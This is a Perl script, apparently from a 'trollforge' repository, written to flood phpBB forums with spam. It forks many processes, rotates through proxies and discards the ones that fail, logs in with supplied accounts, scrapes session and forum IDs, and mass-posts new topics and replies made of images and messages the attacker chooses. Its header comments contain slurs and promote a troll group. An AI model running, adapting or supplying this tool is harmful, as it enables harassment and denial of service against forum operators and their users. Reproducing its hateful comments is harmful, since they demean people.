source: trollforge/dsp-trollforge/Multipurpose/floodphpbb.pl @ 41

#!/usr/bin/perl

# floodphpbb alpha 1

# by Popeye | popeye@gnaa.us | are you down with the GNAA killaz? if so see #gnaa @ irc.gnaa.us

# use this program to flood the shit out of phpbb forums

# modified by Jewbird (Nath0rn) check readme.txt for more info



use strict;



use Socket;

use IO::Handle;

use LWP::UserAgent;

use HTTP::Request::Common;

use HTTP::Cookies;



$SIG{CHLD} = 'IGNORE';



if($#ARGV < 0)

{

 print STDERR "Need options file (refer to readme.txt)\n";

 exit 0;

}



my %accounts = ();

my %proxies = ();

my %accounts = ();

my %proxies = ();

my @subject;

my @image;

my $message;

my $i;

my @options;

my $url;

my %env;

my $first;

my $second;

my $third;

my $black;

my $error;

my $ok;



my $MAXFORK = 22;

#my $MAXFORK = 25;

my $MAXFAIL = 1;



my $varFile = shift @ARGV or die "$i";

(@options[0],@options[1],@options[2],@options[3],@options[4],@options[5],@options[6]);



open DATA, $varFile or die "Can't open file: $!";

  while (<DATA>) {

    chomp;

    (@options[0],@options[1],@options[2],@options[3],@options[4],@options[5],@options[6]) = split /\|/;

  }

close DATA;



$url = $options[0];



if ($ENV{SHELL} = "/bin/bash") {

print "BASH Detected, using pretty colours. =D\n";

$first="\e[0;36m";

$second="\e[0;35m";

$third="\e[0;34m";

$black="\e[0;30m";

$error="\e[1;31m";

$ok="\e[1;32m";

}



print "> Picked up options:

        URL: $options[0]

        Message: $options[1]

        Subject: $options[2]

        Images: $options[3]

        Accounts: $options[4]

        Proxy: $options[5]\n";



open MYFILE, $options[1] or die "$!";

while (<MYFILE>)

{

  $message .= $_;

}

close MYFILE;



open SFILE,  $options[2] or die "$!";

while (<SFILE>)

{

  @subject = <SFILE>;

}

close SFILE;



open IFILE, $options[3] or die "$!";

while (<IFILE>)

{

  @image = <IFILE>;

}

close IFILE;





if (my $ACCOUNTFILE = $options[4])

{

  print STDERR "> Populating list of accounts from '$ACCOUNTFILE'";

  open ACCOUNTFILE, $ACCOUNTFILE or die "$!";

  $i=0;

  while (<ACCOUNTFILE>) 

  {

    $i++;

    chomp;

    /^(.+) (.+)$/;

    $accounts{$1} = $2;

  }

  close ACCOUNTFILE;

  print STDERR "\n> Got $i accounts.\n";

}



my $PROXYFILE = $options[5];



socketpair (CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";



CHENEY->autoflush(1);

BUSH->autoflush(1);



if (my $jpid = fork) 

{

  close BUSH;

} 

else 

{

  die "$!" unless defined $jpid;

  close CHENEY;

  

  $SIG{INT} = \&exit_nicely;

  

  if (defined $PROXYFILE) {

    print STDERR "> Populating list of proxies from '$PROXYFILE'";

    open PROXYFILE, $PROXYFILE or die "$!";

    $i=0;

    while (<PROXYFILE>) {

      $i++;

      chomp;

      $proxies{$_} = $MAXFAIL;

    }

    close PROXYFILE;

    print STDERR "\n> Got $i proxies.\n";

  }



  my $command;

  while (1) {

    chomp ($command = <BUSH>);

    

    if ($command =~ /getproxy/) {

      if (keys %proxies > 0) {

        print BUSH (keys %proxies)[int rand keys %proxies] ."\n";

      } else {

        print BUSH 'none\n';

      }

    } elsif ($command =~ /fail (\S+)/) {

      if ( --$proxies{$1} le 0 ) {

        print STDERR "killing $1\n";

        delete $proxies{$1};

      }

    } else {

      die "Bad command: $command\n";

    }

  }

}





for ($i=0; $i<$MAXFORK; $i++) {

  FORK: 

  {

    if (my $pid = fork) 

    {

    } 

    elsif (defined $pid) 

    {

      while (1) 

      {  

        my ($username, $password) = get_account ();

        

        print CHENEY "getproxy\n";

        chomp (my $proxy = <CHENEY>);

        

        print STDERR "$black Child$first $i$black with proxy$second $proxy$black user$third $username\n";

          

        if (psot ($proxy, $username, $password)) 

        {



        if ($i < int($MAXFORK / 2)) {

                  print STDERR "$ok Child $i posted with success.\n";

        }

        else

        {

                  print STDERR "$ok Child $i replyed with success.\n";

        } 

        }

        else 



        {



          if ($i < int($MAXFORK / 2)) {

                print STDERR "$error Child $i failes post ($proxy)\n";

          }

           else

          {

                print STDERR "$error Child $i failes reply ($proxy)\n";

          }



          print CHENEY "fail $proxy\n";

          die

        }        

      }

      

    } 

    elsif ($! =~ /No more process/) 

    {

      redo FORK;

    } else 

    {

      print STDERR "hit process limit\n";

      goto ENDFORK;

    }

  }

}



while (1) { sleep 1; }



psot();



sub psot

{

  my $proxy = shift;

  my $username = shift;

  my $password = shift;

  

  my $ua = LWP::UserAgent->new;

  $ua->agent('Mozilla/5.0');

  $ua->cookie_jar(HTTP::Cookies->new);

  if (! ($proxy =~ /none/) ) { $ua->proxy('http', "http://$proxy"); }

  push @{$ua->requests_redirectable}, 'POST';

  

  my $sid;

  

  my @topics;

  

  my $response = $ua->request(GET $url); 

  

  foreach my $x (split /\n/, $response->content) 

  {

    #print $x."\n";

    if ($x=~ m|php\?sid=([^\"]+)\"|i) 

    {

      $sid = $1;

    }

  }

  

  if ($sid eq "")

  {

    print "$error Failed to get session ID.\n";

    # return 0;

  }

  

  my $posturl = "$url\/login.php?redirect=$url/index.php";

  

  my $req = POST $posturl, [    username => $username,

                                password => $password,

                                sid => $sid,

                                redirect => '',

                                login => 'Login',

        ];

  

  $req->referer($url);

  $response = $ua->request($req);

  

  foreach my $x (split /\n/, $response->content) 

  {

    if ($x=~ /(a href=.+?viewforum.+?f=(.+?)\")/) 

    {

      push(@topics, $2);

    }

  }

  



  my $temprand=int(rand(350));



  my $choice = int(rand($#topics));

  $posturl = "$url\/posting.php";



  my $replyurl = "$url\/posting.php?mode=reply&t=$temprand";



  my $temp;

  $temp = "$image[int(rand(scalar(@image)))] $message";

  

if ($i < int($MAXFORK / 2)) {

  $req = POST $posturl, [        subject              => $subject[int(rand(scalar(@subject)))],

                                 message              => $temp,

                                 mode                 => 'newtopic',

                                 sid                  => $sid,

                                 f                    => $topics[$choice],

                                 post                 => 'Submit',

                                 poll_title           => '',

                                 add_poll_option_text => '',

                                 poll_length          => '',

            ];

}

else

{  

  $req = POST $replyurl, [       subject              => $subject[int(rand(scalar(@subject)))],

                                 message              => $temp,

                                 mode                 => 'reply',

                                 post                 => 'Submit',

            

        ];

}

  $temp="";



  $response = $ua->request($req);

  

  if ($response->content eq "")

  {

    print STDERR "$error Error posting\n";

  }

  

  return 1;



}



sub get_account 

{

  if (keys %accounts > 0) {

    my $nick = (keys %accounts)[int rand keys %accounts];

    return ( $nick, $accounts{$nick} );

  } else {

    return ( '', '' );

  }

}



sub exit_nicely 

{

  die "$black Exiting.\n";

}